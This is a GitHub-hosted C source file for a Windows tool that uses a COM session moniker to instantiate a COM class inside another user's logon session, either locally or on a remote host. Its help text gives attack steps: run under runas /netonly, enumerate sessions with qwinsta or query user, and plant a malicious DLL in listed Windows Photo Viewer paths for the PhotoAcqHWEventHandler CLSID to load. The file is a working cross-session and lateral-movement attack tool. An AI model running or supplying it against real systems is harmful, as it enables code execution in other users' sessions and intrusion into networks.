-
Notifications
You must be signed in to change notification settings - Fork 23
Expand file tree
/
Copy pathmain.c
More file actions
executable file
·137 lines (104 loc) · 3.64 KB
/
main.c
File metadata and controls
executable file
·137 lines (104 loc) · 3.64 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#include <stdio.h>
#include <Windows.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <objbase.h>
#pragma comment(lib, "Shlwapi.lib")
BOOL InstanciateInSession(int iSessId, WCHAR* wszCLSID, WCHAR* wszRemoteHost);
VOID PrintHelp(WCHAR wszProgName[]);
BOOL InstanciateInSession(int iSessId, WCHAR* wszCLSID, WCHAR* wszRemoteHost) {
BOOL bSTATE = TRUE;
HRESULT hResult = 0;
WCHAR wszMoniker[60] = { 0 };
BIND_OPTS3 sctBindOps3 = { 0 };
IUnknown* pUnknown = NULL;
COSERVERINFO sctCoServInfo = { 0 };
hResult = StringCchPrintfW(wszMoniker, 59, L"session:%d!new:%ws", iSessId, wszCLSID);
if (FAILED(hResult)) {
wprintf(L"Error in StringCchPrintfW: %ld\n", hResult);
bSTATE = FALSE; goto _EndOfFunc;
}
sctBindOps3.cbStruct = sizeof(BIND_OPTS3);
if (wszRemoteHost == NULL) {
sctBindOps3.dwClassContext = CLSCTX_LOCAL_SERVER;
}
else {
sctCoServInfo.dwReserved1 = 0;
sctCoServInfo.pwszName = wszRemoteHost;
sctCoServInfo.pAuthInfo = NULL;
sctCoServInfo.dwReserved2 = 0;
sctBindOps3.dwClassContext = CLSCTX_REMOTE_SERVER;
sctBindOps3.pServerInfo = &sctCoServInfo;
}
hResult = CoGetObject(wszMoniker, (LPBIND_OPTS)&sctBindOps3, &IID_IUnknown, &pUnknown);
if (hResult == 0x80080005) {
wprintf(L"CoGetObject returned 0x80080005, should have worked!\n");
}
else if (hResult == 0x80070002) {
wprintf(L"Error: CoGetObject returned 0x80070002, are you sure the session exists?\n");
}
else if (FAILED(hResult)) {
wprintf(L"Error in CoGetObject: 0x%x\n", hResult);
bSTATE = FALSE; goto _EndOfFunc;
}
else if (SUCCEEDED(hResult)) {
wprintf(L"CoGetObject succeeded, releasing...\n");
pUnknown->lpVtbl->Release(pUnknown);
}
_EndOfFunc:
return bSTATE;
}
int wmain(int argc, WCHAR* argv[]) {
int iSessId = 0;
WCHAR* wszEndString = NULL;
WCHAR* wzsCLSID = NULL;
WCHAR* wzsRemoteHost = NULL;
HRESULT hResult = 0;
if (argc < 3) {
PrintHelp(argv[0]);
return -1;
}
if (!StrToIntExW(argv[1], STIF_DEFAULT, &iSessId)) {
wprintf(L"Error converting %ws to int\n", argv[1]);
return -1;
}
wzsCLSID = argv[2];
if (argc > 3) {
wzsRemoteHost = argv[3];
}
else {
wzsRemoteHost = NULL;
}
hResult = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if (FAILED(hResult)) {
wprintf(L"Error in CoInitializeEx: %lu\n", hResult);
return -1;
}
if (!InstanciateInSession(iSessId, wzsCLSID, wzsRemoteHost)) {
wprintf(L"Error instanciating class...\n");
}
CoUninitialize();
return 0;
}
VOID PrintHelp(WCHAR wszProgName[]) {
wprintf(L"Usage: %ws <sess_id> <CLSID> [remote_host_if_remote]\n", wszProgName);
wprintf(L"\n");
wprintf(L"For remote instanciation:\n");
wprintf(L"\tLaunch %ws in runas /netonly \n", wszProgName);
wprintf(L"\tUse either of these commands in runas /netonly to retrieve session IDs:\n");
wprintf(L"\t\tqwinsta /server:<remote_host>\n");
wprintf(L"\t\tquery user /server:<remote_host>\n");
wprintf(L"\n");
wprintf(L"\n");
wprintf(L"Usable CLSIDs:\n");
wprintf(L"\n");
wprintf(L"\t00F2B433-44E4-4D88-B2B0-2698A0A91DBA (PhotoAcqHWEventHandler)\n");
wprintf(L"\tPlace DLL at:\n");
wprintf(L"\t\tC:\\Program Files\\Windows Photo Viewer\\OLEACC.dll\n");
wprintf(L"\t\tC:\\Program Files\\Windows Photo Viewer\\PROPSYS.dll\n");
wprintf(L"\t\tC:\\Program Files\\Windows Photo Viewer\\STI.dll\n");
wprintf(L"\t\tC:\\Program Files\\Windows Photo Viewer\\WINMM.dll\n");
wprintf(L"\t\tC:\\Program Files\\Windows Photo Viewer\\dwmapi.dll\n");
wprintf(L"\t\tC:\\Program Files\\Windows Photo Viewer\\UxTheme.dll\n");
wprintf(L"\t\tC:\\Program Files\\Windows Photo Viewer\\VERSION.dll\n");
}